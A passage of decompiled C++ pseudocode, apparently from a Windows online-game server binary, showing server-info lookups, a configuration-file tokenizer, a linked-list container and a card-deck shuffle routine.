( v6 >= v5 ) goto LABEL_7; } result = v6; } return result; } //----- (0055DDB0) -------------------------------------------------------- int __thiscall CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName) { CCsl *v3; // edi@1 int v4; // ebp@1 int v5; // esi@1 int v6; // eax@3 int result; // eax@5 v3 = (CCsl *)this; v4 = CCsl::GetNumDatas(&this->m_Csl); v5 = 0; if ( v4 <= 0 ) { LABEL_5: result = 0; } else { while ( 1 ) { if ( CCsl::GetDataInfo(v3, v5)->dwID == 1 ) { v6 = *(_DWORD *)CCsl::GetData(v3, v5, 0); if ( v6 == nWorldNo ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } pWorldName->nWorldNo = v6; pWorldName->pWorldName = (const char *)CCsl::GetData(v3, v5, 1); pWorldName->pWorldDataPath = (const char *)CCsl::GetData(v3, v5, 2); result = 1; } return result; } //----- (0055DE20) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v6; // esi@1 int v7; // eax@1 int result; // eax@2 v6 = this; v7 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo, ServerIDFrom); if ( v7 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v6, pServerInfo, v7); return result; } //----- (0055DE60) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v5; // esi@1 int v6; // eax@1 int result; // eax@2 v5 = this; v6 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo); if ( v6 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v5, pServerInfo, v6); return result; } //----- (0055DEA0) -------------------------------------------------------- ORToken *__thiscall ORToken::ort_ToLower(ORToken *this) { ORToken *result; // eax@1 char *v2; // edx@1 signed int v3; // esi@1 unsigned __int8 v4; // bl@2 char v5; // bl@5 char v6; // bl@8 char v7; // bl@11 char v8; // bl@14 result = this; v2 = &this->ort_Name[1]; v3 = 4; do { v4 = *(v2 - 1); if ( v4 >= 0x41u && v4 <= 0x5Au ) *(v2 - 1) = v4 + 32; v5 = *v2; if ( (unsigned __int8)*v2 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) *v2 = v5 + 32; v6 = v2[1]; if ( (unsigned __int8)v6 >= 0x41u && (unsigned __int8)v6 <= 0x5Au ) v2[1] = v6 + 32; v7 = v2[2]; if ( (unsigned __int8)v7 >= 0x41u && (unsigned __int8)v7 <= 0x5Au ) v2[2] = v7 + 32; v8 = v2[3]; if ( (unsigned __int8)v8 >= 0x41u ) { if ( (unsigned __int8)v8 <= 0x5Au ) v2[3] = v8 + 32; } v2 += 5; --v3; } while ( v3 ); return result; } //----- (0055DF20) -------------------------------------------------------- char __thiscall ORToken::ort_IsNull(ORToken *this) { return this->ort_Name[0] == 0; } //----- (0055DF30) -------------------------------------------------------- char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf) { char *result; // eax@1 result = buf; *(_QWORD *)buf = *(_QWORD *)&this->ort_Name[0]; *((_QWORD *)buf + 1) = *(_QWORD *)&this->ort_Name[8]; *((_DWORD *)buf + 4) = *(_DWORD *)&this->ort_Name[16]; buf[20] = 0; return result; } //----- (0055DF60) -------------------------------------------------------- char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this) { ORLinebuffer *v1; // esi@1 const char *v2; // edi@1 char result; // al@2 unsigned int v4; // ecx@3 int v5; // eax@3 v1 = this; v2 = this->orlb_Buffer; if ( fgets(this->orlb_Buffer, 2048, this->orlb_fp) ) { v4 = strlen(v2); v5 = 0; v1->orlb_LineLen = v4; for ( v1->orlb_Pointer = 0; v5 < v1->orlb_LineLen; ++v5 ) { if ( v2[v5] == 32 ) { if ( v5 > 0 && *((_BYTE *)&v1->orlb_fp + v5 + 3) == 9 ) v2[v5] = 9; if ( v5 < v1->orlb_LineLen - 1 ) { if ( v1->orlb_Buffer[v5 + 1] == 9 ) v2[v5] = 9; } } } result = 1; } else { v1->orlb_LineLen = -1; result = 0; } return result; } //----- (0055DFF0) -------------------------------------------------------- int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this) { int v1; // edx@1 int result; // eax@2 v1 = this->orlb_Pointer; if ( this->orlb_LineLen >= v1 ) { result = this->orlb_Buffer[v1]; this->orlb_Pointer = v1 + 1; } else { result = 999; } return result; } //----- (0055E020) -------------------------------------------------------- void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this) { this->ori_Number = 0; } //----- (0055E030) -------------------------------------------------------- char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr) { char result; // al@2 int v3; // edx@3 int v4; // eax@3 if ( chr >= 32 ) { v3 = this->ord_Number; v4 = 0; if ( v3 <= 0 ) { LABEL_6: result = 0; } else { while ( this->ord_Array[v4] != chr ) { ++v4; if ( v4 >= v3 ) goto LABEL_6; } result = 1; } } else { result = 1; } return result; } //----- (0055E070) -------------------------------------------------------- void __thiscall ORExchange::ORExchange(ORExchange *this) { this->ore_Number = 0; } //----- (0055E080) -------------------------------------------------------- int __thiscall ORExchange::operator__(ORExchange *this, int chr) { int result; // eax@1 int v3; // esi@1 int v4; // edx@1 result = chr; v3 = this->ore_Number; v4 = 0; if ( v3 > 0 ) { while ( this->ore_Array[v4].from != chr ) { ++v4; if ( v4 >= v3 ) return result; } result = this->ore_Array[v4].to; } return result; } //----- (0055E0B0) -------------------------------------------------------- void __thiscall ORComment::ORComment(ORComment *this) { this->orc_Comment = 59; } //----- (0055E0C0) -------------------------------------------------------- void __thiscall ORBrace::ORBrace(ORBrace *this) { this->orc_Open = 91; this->orc_Close = 93; } //----- (0055E0D0) -------------------------------------------------------- char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr) { return this->orc_Open == chr; } //----- (0055E0E0) -------------------------------------------------------- char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr) { return this->orc_Close == chr; } //----- (0055E0F0) -------------------------------------------------------- void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (0055E110) -------------------------------------------------------- void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg) { this->orem_Message = msg; this->orem_Err = 1; } //----- (0055E120) -------------------------------------------------------- void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument) { this->ortr_LineBuffer.orlb_fp = fp; this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; this->ortr_Argument = argument; } //----- (0055E150) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this) { int v1; // edx@1 int result; // eax@2 TokenArgument *v3; // esi@3 int v4; // edi@6 int v5; // edx@6 while ( 1 ) { v1 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v1 ) break; result = this->ortr_LineBuffer.orlb_Buffer[v1]; this->ortr_LineBuffer.orlb_Pointer = v1 + 1; if ( result == 999 ) break; v3 = this->ortr_Argument; if ( result == v3->comment.orc_Comment ) { this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; } else { if ( result >= 32 ) { v4 = v3->delimiter.ord_Number; v5 = 0; if ( v4 <= 0 ) return result; while ( v3->delimiter.ord_Array[v5] != result ) { ++v5; if ( v5 >= v4 ) return result; } } } } return 999; } //----- (0055E1D0) -------------------------------------------------------- void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err) { TokenArgument *v2; // eax@1 v2 = this->ortr_Argument; v2->errmsg.orem_Message = err; v2->errmsg.orem_Err = 1; } //----- (0055E1F0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 55 ) break; v2 = v4 + 8 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (0055E250) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 57 ) break; v2 = v4 + 10 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (0055E2B0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@12 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 || v4 > 57 ) { if ( v4 < 65 || v4 > 70 ) { if ( v4 < 97 || v4 > 102 ) break; v2 = v4 - 87 + 16 * v2; *result = 1; } else { v2 = v4 - 55 + 16 * v2; *result = 1; } } else { v2 = v4 - 48 + 16 * v2; *result = 1; } } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (0055E340) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 55 ) break; ++v3; result = v5 + 8 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (0055E390) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 57 ) break; ++v3; result = v5 + 10 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (0055E3E0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 int v6; // edx@5 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 || v5 > 57 ) { if ( v5 < 65 || v5 > 70 ) { if ( v5 < 97 || v5 > 102 ) return 999; v6 = v5 - 87; } else { v6 = v5 - 55; } } else { v6 = v5 - 48; } result = v6 + 16 * result; ++v3; if ( v3 >= 2 ) return result; } return 999; } //----- (0055E450) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 bool v5; // zf@3 int v6; // eax@3 int v7; // edx@8 int v8; // eax@9 v2 = ORTokenReader::ortr_SkipBlank(this); if ( v2 == 45 ) { v4 = -ORTokenReader::ortr_ReadNumber((ORTokenReader *)v3, result); } else { v5 = v2 == 48; v6 = *(_DWORD *)(v3 + 2056); if ( v5 ) { if ( *(_DWORD *)(v3 + 2052) >= v6 && (v7 = *(_BYTE *)(v6 + v3 + 4), *(_DWORD *)(v3 + 2056) = v6 + 1, v7 == 120) ) { v4 = ORTokenReader::ortr_ReadNumber16((ORTokenReader *)v3, result); } else { v8 = *(_DWORD *)(v3 + 2056); if ( v8 > 0 ) *(_DWORD *)(v3 + 2056) = v8 - 1; *result = 1; v4 = ORTokenReader::ortr_ReadNumber8((ORTokenReader *)v3, result); } } else { if ( v6 > 0 ) *(_DWORD *)(v3 + 2056) = v6 - 1; v4 = ORTokenReader::ortr_ReadNumber10((ORTokenReader *)v3, result); } } return v4; } //----- (0055E4D0) -------------------------------------------------------- char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@4 int v4; // ecx@5 v1 = ORTokenReader::ortr_SkipBlank(this); if ( v1 == 999 ) { LABEL_4: result = 1; } else { while ( v1 == 32 ) { v1 = ORTokenReader::ortr_SkipBlank((ORTokenReader *)v2); if ( v1 == 999 ) goto LABEL_4; } v4 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v4 + 4) = "Extra data exist"; *(_BYTE *)(v4 + 8) = 1; result = 0; } return result; } //----- (0055E510) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this) { int result; // eax@1 int v2; // ecx@1 int v3; // ecx@2 int v4; // eax@4 signed int v5; // edx@5 int v6; // ecx@14 result = ORTokenReader::ortr_SkipBlank(this); if ( result == 999 ) { v3 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v3 + 4) = "Unexpected EOF"; *(_BYTE *)(v3 + 8) = 1; return result; } if ( result == 92 ) { v4 = *(_DWORD *)(v2 + 2056); if ( *(_DWORD *)(v2 + 2052) >= v4 ) { v5 = *(_BYTE *)(v4 + v2 + 4); *(_DWORD *)(v2 + 2056) = v4 + 1; } else { v5 = 999; } result = 999; if ( v5 == 100 ) { result = ORTokenReader::ortr_GetDigit((ORTokenReader *)v2); } else { if ( v5 == 111 ) { result = ORTokenReader::ortr_GetOctal((ORTokenReader *)v2); } else { if ( v5 != 120 ) { LABEL_14: v6 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v6 + 4) = "Invalid character"; *(_BYTE *)(v6 + 8) = 1; return result; } result = ORTokenReader::ortr_GetHexa((ORTokenReader *)v2); } } if ( result < 256 ) return result; goto LABEL_14; } return result; } //----- (0055E5A0) -------------------------------------------------------- char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace) { ORTokenReader *v2; // esi@1 int v3; // eax@2 TokenArgument *v4; // ecx@2 int v5; // edi@2 int v6; // ecx@2 int v7; // edx@2 char *result; // eax@6 int v9; // ecx@8 int v10; // eax@9 int v11; // ebp@9 int v12; // ebx@9 TokenArgument *v13; // edx@10 int v14; // edi@10 int v15; // ecx@10 int v16; // eax@18 ORTokenReader *v17; // ecx@18 int v18; // eax@21 TokenArgument *v19; // edi@27 bool v20; // sf@29 unsigned __int8 v21; // of@29 TokenArgument *v22; // esi@31 signed int i; // [sp+Ch] [bp-Ch]@7 int v24; // [sp+14h] [bp-4h]@9 v2 = this; while ( 1 ) { v3 = ORTokenReader::ortr_SkipBlank(v2); v4 = v2->ortr_Argument; v5 = v4->ignore.ori_Number; v6 = (int)&v4->ignore; v7 = 0; if ( v5 <= 0 ) break; while ( *(_BYTE *)(v7 + v6) != v3 ) { ++v7; if ( v7 >= v5 ) goto LABEL_5; } } LABEL_5: if ( v3 == 999 ) { result = 0; } else { v2->ortr_Buffer[0] = v3; i = 1; do { v9 = v2->ortr_LineBuffer.orlb_Pointer; if ( v2->ortr_LineBuffer.orlb_LineLen < v9 ) break; v10 = v2->ortr_LineBuffer.orlb_Buffer[v9]; v11 = v9 + 1; v24 = v9 + 1; v2->ortr_LineBuffer.orlb_Pointer = v9 + 1; v12 = v10; if ( v10 == 999 ) break; v13 = v2->ortr_Argument; v14 = v13->ignore.ori_Number; v15 = 0; if ( v14 <= 0 ) { LABEL_14: if ( readbrace == 1 ) { if ( v13->brace.orc_Open == v10 || v13->brace.orc_Close == v10 ) { if ( v11 > 0 ) v2->ortr_LineBuffer.orlb_Pointer = v11 - 1; break; } if ( v10 == 92 ) { v16 = ORLinebuffer::orlb_FGetc(&v2->ortr_LineBuffer); if ( v16 == 100 ) { v18 = ORTokenReader::ortr_GetDigit(v2); } else { if ( v16 == 111 ) { v18 = ORTokenReader::ortr_GetOctal(v2); } else { if ( v16 != 120 ) goto LABEL_31; v18 = ORTokenReader::ortr_GetHexa(v17); } } if ( v18 >= 256 ) { LABEL_31: v22 = v2->ortr_Argument; v22->errmsg.orem_Message = "Invalid character"; v22->errmsg.orem_Err = 1; return 0; } v12 = v18; } } v19 = v2->ortr_Argument; if ( ORDelimiter::operator__(&v19->delimiter, v12) ) break; v2->ortr_Buffer[i] = ORExchange::operator__(&v19->exchange, v12); } else { while ( v13->ignore.ori_Array[v15] != v10 ) { ++v15; if ( v15 >= v14 ) { v11 = v24; goto LABEL_14; } } --i; } v21 = __OFSUB__(i + 1, 2048); v20 = i++ - 2047 < 0; } while ( v20 ^ v21 ); v2->ortr_Buffer[i] = 0; result = v2->ortr_Buffer; } return result; } //----- (0055E740) -------------------------------------------------------- ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com) { ORTokenReader *v2; // esi@1 int v3; // eax@2 ORLinebuffer *v4; // ecx@2 TokenArgument *v5; // esi@4 ORToken *result; // eax@4 TokenArgument *v7; // esi@6 char *v8; // eax@7 v2 = this; if ( ORLinebuffer::orlb_LineRead(&this->ortr_LineBuffer) ) { while ( 1 ) { ++v2->ortr_Argument->errmsg.orem_Line; v3 = ORTokenReader::ortr_SkipBlank(v2); if ( v3 != 999 ) break; if ( !ORLinebuffer::orlb_LineRead(v4) ) goto LABEL_4; } if ( v3 == 35 ) { v8 = ORTokenReader::ortr_ReadString(v2, BIS_EXCLUDEBRACE); *(_QWORD *)&com->ort_Name[12] = 0i64; *(_QWORD *)&com->ort_Name[4] = 0i64; *(_DWORD *)&com->ort_Name[0] = 0; strncpy(com->ort_Name, v8, 0x14u); ORToken::ort_ToLower(com); result = com; } else { v7 = v2->ortr_Argument; v7->errmsg.orem_Message = "# comment expected"; v7->errmsg.orem_Err = 1; result = 0; } } else { LABEL_4: v5 = v2->ortr_Argument; v5->errmsg.orem_Message = "Unexpected EOF"; v5->errmsg.orem_Err = 1; result = 0; } return result; } //----- (0055E7E0) -------------------------------------------------------- char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token) { ORIgnore *v2; // esi@1 TokenArgument *v3; // eax@2 int v5; // eax@4 v2 = this; if ( this->ori_Number >= 32 ) { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many delimiters"; v3->errmsg.orem_Err = 1; return 0; } v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 ) return 0; v2->ori_Array[v2->ori_Number++] = v5; return 1; } //----- (0055E830) -------------------------------------------------------- char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token) { ORExchange *v2; // esi@1 TokenArgument *v3; // eax@2 char result; // al@2 int v5; // eax@3 int v6; // eax@5 v2 = this; if ( this->ore_Number < 32 ) { v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 || (v2->ore_Array[v2->ore_Number].from = v5, v6 = ORTokenReader::ortr_ReadChar(token), v6 >= 256) ) { result = 0; } else { v2->ore_Array[v2->ore_Number++].to = v6; result = 1; } } else { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many exchange"; v3->errmsg.orem_Err = 1; result = 0; } return result; } //----- (0055E8A0) -------------------------------------------------------- char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token) { ORComment *v2; // esi@1 int v3; // eax@1 char result; // al@2 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 ) { v2->orc_Comment = v3; result = 1; } else { result = 0; } return result; } //----- (0055E8D0) -------------------------------------------------------- char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token) { ORBrace *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 && (v2->orc_Open = v3, v4 = ORTokenReader::ortr_ReadChar(token), v4 < 256) ) { v2->orc_Close = v4; result = 1; } else { result = 0; } return result; } //----- (0055E910) -------------------------------------------------------- void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (0055E930) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete(v1); } // 5E68F4: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (0055E950) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v3; // eax@2 int v5; // ebx@4 void *v6; // esi@4 void *v7; // eax@5 int i; // ecx@8 void *v9; // ecx@11 void *v10; // edx@11 int v11; // esi@11 int v12; // ecx@13 int v13; // edx@14 int v14; // eax@16 int v15; // edx@16 void *v16; // ST04_4@16 void **v17; // eax@16 ListArray *v18; // edx@16 void *newarray; // [sp+8h] [bp-4h]@5 void *extsizea; // [sp+10h] [bp+4h]@4 v2 = this; if ( this->l_Finger.empty != -1 || (v3 = this->l_ListArray) == 0 ) return 0; v5 = extsize + v3->la_Size; v6 = operator new(4 * v5); extsizea = v6; if ( !v6 ) return 0; v7 = operator new(12 * v5 + 12); newarray = v7; if ( !v7 ) { operator delete(v6); return 0; } for ( i = 0; i < v2->l_ListArray->la_Size; ++i ) *((_DWORD *)v6 + i) = v2->l_ListArray->la_Array[i].c_card; memcpy(v7, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v9 = v6; v10 = v7; v11 = v5; do { *(_DWORD *)v10 = v9; v9 = (char *)v9 + 4; v10 = (char *)v10 + 12; --v11; } while ( v11 ); } v12 = v2->l_MaxSize; if ( v12 < v5 ) { v13 = (int)((char *)v7 + 12 * v12 + 4); do { *(_WORD *)v13 = v12 + 1; *(_BYTE *)(v13 + 4) = 0; *(_WORD *)(v13 + 2) = v12++ - 1; v13 += 12; } while ( v12 < v5 ); } *((_WORD *)v7 + 6 * v2->l_MaxSize + 3) = v5 - 1; v14 = (int)((char *)v7 + 12 * v5); *(_WORD *)(v14 - 8) = v2->l_MaxSize; v15 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v14 = *(_DWORD *)v15; *(_DWORD *)(v14 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v14 + 8) = *(_DWORD *)(v15 + 8); v16 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete(v16); v17 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; operator delete(*v17); v2->l_ListArray->la_Array = (CardDeck::Card *)extsizea; v18 = v2->l_ListArray; v2->l_MaxSize = v5; v18->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (0055EB10) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0055EB60) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { if ( this->la_Array ) operator delete(this->la_Array); } //----- (0055EB70) -------------------------------------------------------- void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 void *v2; // eax@1 void *v3; // esi@3 v1 = this; v2 = this->cs_Array.la_Array; if ( v2 ) operator delete(v2); v1->cs_deck.vfptr = (ListVtbl *)List::_vftable_; v3 = v1->cs_deck.l_Array; if ( v3 ) operator delete(v3); } // 5E68F4: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (0055EBE0) -------------------------------------------------------- void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num) { List *v2; // edi@1 signed int v3; // ebx@1 int v4; // ebp@2 int v5; // eax@3 CardDeck::Card *v6; // esi@3 int v7; // eax@3 CardDeck::Card *v8; // eax@3 unsigned int v9; // ecx@5 v2 = (List *)this; v3 = this->cs_deck.l_ListNum; if ( num > 0 ) { v4 = num; do { v5 = rand(); v6 = List::l_GetInList(v2, v5 % v3, (unsigned __int16 *)&num); v7 = rand(); v8 = List::l_GetInList(v2, v7 % v3, (unsigned __int16 *)&num); if ( v6 ) { if ( v8 ) { v9 = v6->c_card; v6->c_card = v8->c_card; v8->c_card = v9; } } --v4; } while ( v4 ); } } //----- (0055EC40) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card) { CardDeck::CardStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = this; while ( 1 ) { v3 = v2->cs_deck.l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->cs_deck.vfptr->l_AllocA((List *)v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(&v2->cs_deck, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (0055EC80) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card) { List *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = (List *)this; while ( 1 ) { v3 = v2->l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->vfptr->l_AllocZ(v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(v2, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (0055ECC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0055ED10) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0055EE30) -------------------------------------------------------- char __thiscall List::l_SetListArray(List *this, ListArray *array) { List *v2; // esi@1 signed int v4; // eax@7 int v5; // edx@8 ListStruct *v6; // ecx@10 CardDeck::Card *v7; // ebx@10 int v8; // ecx@10 v2 = this; if ( this->l_Array ) operator delete(this->l_Array); v2->l_ListArray = array; if ( !array->la_Array ) { v2->l_Array = 0; return 0; } List::l_MakeList(v2, LOWORD(array->la_Size)); if ( 